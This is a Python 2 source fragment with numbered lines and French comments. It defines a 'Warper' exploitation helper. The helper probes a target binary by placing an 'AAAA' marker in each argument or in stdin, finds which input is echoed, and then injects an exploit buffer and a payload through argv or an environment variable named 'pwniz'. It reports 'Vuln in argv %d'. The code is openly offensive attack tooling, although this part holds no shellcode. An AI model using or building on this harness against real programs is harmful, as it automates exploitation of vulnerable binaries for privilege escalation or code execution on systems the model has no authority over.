1. import os
  2. from subprocess import Popen, PIPE
  3.  
  4. class Warper:
  5.         def __init__(self, *data):
  6.                 self.env = os.environ
  7.                 self.input = True
  8.  
  9.                 if(str(type(data[0])).find('str')<0):
  10.                         raise Exception
  11.                 self.path = data[0]
  12.  
  13.                 if(len(data)==1):
  14.                         if(self.getArg()<0):
  15.                                 print '\x1B[0;31mUnable to find vuln\x1B[0m'
  16.                                 os._exit(-1)
  17.                 if(len(data)==2):
  18.                         self.argSploit = data[1]
  19.                         self.argPayload = 0
  20.                 elif(len(data)==3):
  21.                         if(data[1]==data[2]):
  22.                                 raise Exception
  23.                         self.argSploit = data[1]
  24.                         self.argPayload = data[2]
  25.                 print '\x1B[0;32mVuln in argv %d, sploit in %d\x1B[0m' % (self.argSploit, self.argPayload)
  26.  
  27.  
  28.         def spwn(self, buff, payload, std):
  29.                 # creer un process en fonction des arguments a exploiter
  30.                 stdin=None
  31.                 stdout=None
  32.                 stderr=None
  33.                 final = False
  34.                 if(str(type(std)).find('int')<0):
  35.                         final = True
  36.  
  37.                 args = [self.path]
  38.                 max = self.argSploit
  39.                 if(max < self.argPayload):
  40.                         max = self.argPayload
  41.                 for i in range(max+1):
  42.                         if(i==0):
  43.                                 pass
  44.                         elif(i==self.argSploit):
  45.                                 args.append(buff)
  46.                         elif(i==self.argPayload):
  47.                                 args.append(payload)
  48.                         else:
  49.                                 args.append('x')
  50.                 if(self.argPayload==0):
  51.                         self.env['pwniz'] = payload
  52.  
  53.                 if(final or std&1 or self.input):
  54.                         stdin=PIPE
  55.                 if(final or std&2 or std<0):
  56.                         stdout=PIPE
  57.                 if(final or std&4):
  58.                         stderr=PIPE
  59.                 try:
  60.                         p = Popen(args, env=self.env, stdin=stdin, stdout=stdout, stderr=stderr)
  61.                         if(self.input):
  62.                                 ret = p.communicate(buff)
  63.                         elif(not final):
  64.                                 ret = p.communicate()
  65.                         if(final):
  66.                                 ret = p.communicate(std)
  67.                 except:
  68.                         return ' '
  69.  
  70.                 if(std<0):
  71.                         return p.wait()*-1
  72.                 return ret
  73.  
  74.         def getArg(self):
  75.                 # trouve de facon dynamique les arguments faillibles et ou mettre le payload
  76.                 self.argPayload = 0
  77.                 self.argSploit = 0
  78.  
  79.                 ret = self.spwn('AAAA', '', 3)[0]
  80.                 if(ret.find('AAAA')<0):
  81.                         self.input = False
  82.                         for i in range(20):
  83.                                 ret = self.spwn('AAAA', '', 3)[0]
  84.                                 if(ret.find('AAAA')>=0):
  85.                                         break;
  86.                                 self.argSploit = self.argSploit+1
  87.  
  88.                 self.argPayload = self.argSploit+1
  89.                 ret = self.spwn('AAAA', 'x', 3)[0]
  90.  
  91.                 if(ret.find('AAAA')<0):
  92.                         self.argPayload = 0
  93.  
  94.                 if(self.argSploit == 20 and self.argPayload == 0):
  95.                         return -1
  96.                 return 0